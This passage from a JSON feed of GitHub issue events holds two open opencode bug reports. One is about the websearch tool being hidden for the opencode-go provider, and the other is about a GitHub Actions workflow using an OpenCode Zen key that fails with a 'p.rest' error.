          "text": "### Description The [tools docs](https://opencode.ai/docs/tools/) say `websearch` \"is only available when using the OpenCode provider or when the `OPENCODE_ENABLE_EXA` environment variable is set\". I'm using the official **OpenCode Go** subscription ([docs](https://opencode.ai/docs/go/), model IDs use the `opencode-go/` prefix, e.g. `opencode-go/deepseek-v4-flash`, API key added via `/connect`). However, `websearch` is filtered out of the tool list for the `opencode-go` provider. The gate is in `packages/opencode/src/tool/registry.ts`: ```ts // L58-60 export function webSearchEnabled(providerID: ProviderV2.ID, flags = { exa: false, parallel: false }) { return providerID === ProviderV2.ID.opencode || flags.exa || flags.parallel } // L286-290 if (tool.id === WebSearchTool.id) { return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } ``` `webSearchEnabled` only matches `ProviderV2.ID.opencode` exactly — the `opencode-go` provider ID never matches, so the tool is hidden unless `OPENCODE_ENABLE_EXA` / `OPENCODE_ENABLE_PARALLEL` is set. Same code on `dev` (https://github.com/anomalyco/opencode/blob/dev/packages/opencode/src/tool/registry.ts#L58-L60). Expected: `opencode-go` is an official OpenCode product (\"Go works like any other provider in OpenCode\" — https://opencode.ai/docs/go/), so it should be treated as the OpenCode provider and expose `websearch` (which needs no API key). At minimum, the docs should state that OpenCode Go does not include `websearch`. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Install opencode 1.18.18 2. Add OpenCode Go API key (`/connect` → OpenCode Go) 3. Start a session with `opencode-go/deepseek-v4-flash` 4. `websearch` does not appear in the available tools; setting `OPENCODE_ENABLE_EXA=1` restores it ### Screenshot and/or share link N/A ### Operating System macOS ### Terminal iTerm2",
          "url": "https://github.com/anomalyco/opencode/issues/42378",
          "createdAt": "2026-08-13T17:45:42Z",
          "updatedAt": "2026-08-13T17:48:32Z",
          "timestamp": "2026-08-13T17:48:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "xfqz86",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3fff78df34017320303d",
        "signalId": "github:anomalyco/opencode:issue:33060",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33060",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Integration with Opencode Zen",
          "text": "### Description Im getting this error when my workflow file runs : ```bash Error: Unexpected error undefined is not an object (evaluating 'p.rest') ``` This is my current workflow file : ```yml name: opencode on: issue_comment: types: [created] pull_request_review_comment: types: [created] permissions: contents: write pull-requests: write issues: write id-token: write jobs: opencode: # Only triggers when someone comments '/oc' or '/opencode' if: | contains(github.event.comment.body, '/oc') || contains(github.event.comment.body, '/opencode') runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v6 with: fetch-depth: 0 persist-credentials: false - name: Run OpenCode via Zen uses: anomalyco/opencode/github@latest env: # Your single OpenCode Zen gateway key OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }} with: # A Zen-supported model string model: opencode/kimi-k2.5 agent: build # Runs in write-enabled mode to apply code fixes ``` The problem I believe is the OPENCODE_API_KEY , Im not sure if its supported but there has to be a way to use different models than anthropic. Does anyone have docs on this becuase I cannot find it no matter how much I tried on the website. This template was generated via the kimi model on opencode so I trusted it would work but no luck so far. ### Plugins none ### OpenCode version version 1.17.8 ### Steps to reproduce 1. Create a workflow file in a repo for example \".github/workflows/main.yml\" or \".github/workflows/opencode.yml\" 2. Give the yml file this content: ```yml name: opencode on: issue_comment: types: [created] pull_request_review_comment: types: [created] permissions: contents: write pull-requests: write issues: write id-token: write jobs: opencode: # Only triggers when someone comments '/oc' or '/opencode' if: | contains(github.event.comment.body, '/oc') || contains(github.event.comment.body, '/opencode') runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v6 with: fetch-depth: 0 persist-credentials: false - name: Run OpenCode via Zen uses: anomalyco/opencode/github@latest env: # Your single OpenCode Zen gateway key OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }} with: # A Zen-supported model string model: opencode/kimi-k2.5 agent: build # Runs in write-enabled mode to apply code fixes ``` 3. Register an environment variable in your repository settings with the name OPENCODE_API_KEY 4. Comment on a PR \"/oc\" or \"/opencode\" to trigger github actions and the process will fail ### Screenshot and/or share link <img width=\"2084\" height=\"956\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e4d46d7d-7c23-4310-94b7-bd52d1f6afc9\" /> ### Operating System This would run on Linux specifically the Ubuntu distro ### Terminal Bash shell",
          "url": "https://github.com/anomalyco/opencode/issues/33060",
          "createdAt": "2026-06-20T07:53:33Z",
          "updatedAt": "2026-08-13T17:06:15Z",
          "timestamp": "2026-08-13T17:06:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "FabrzyTech",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "new"
        }
      }
    ]
  }
}
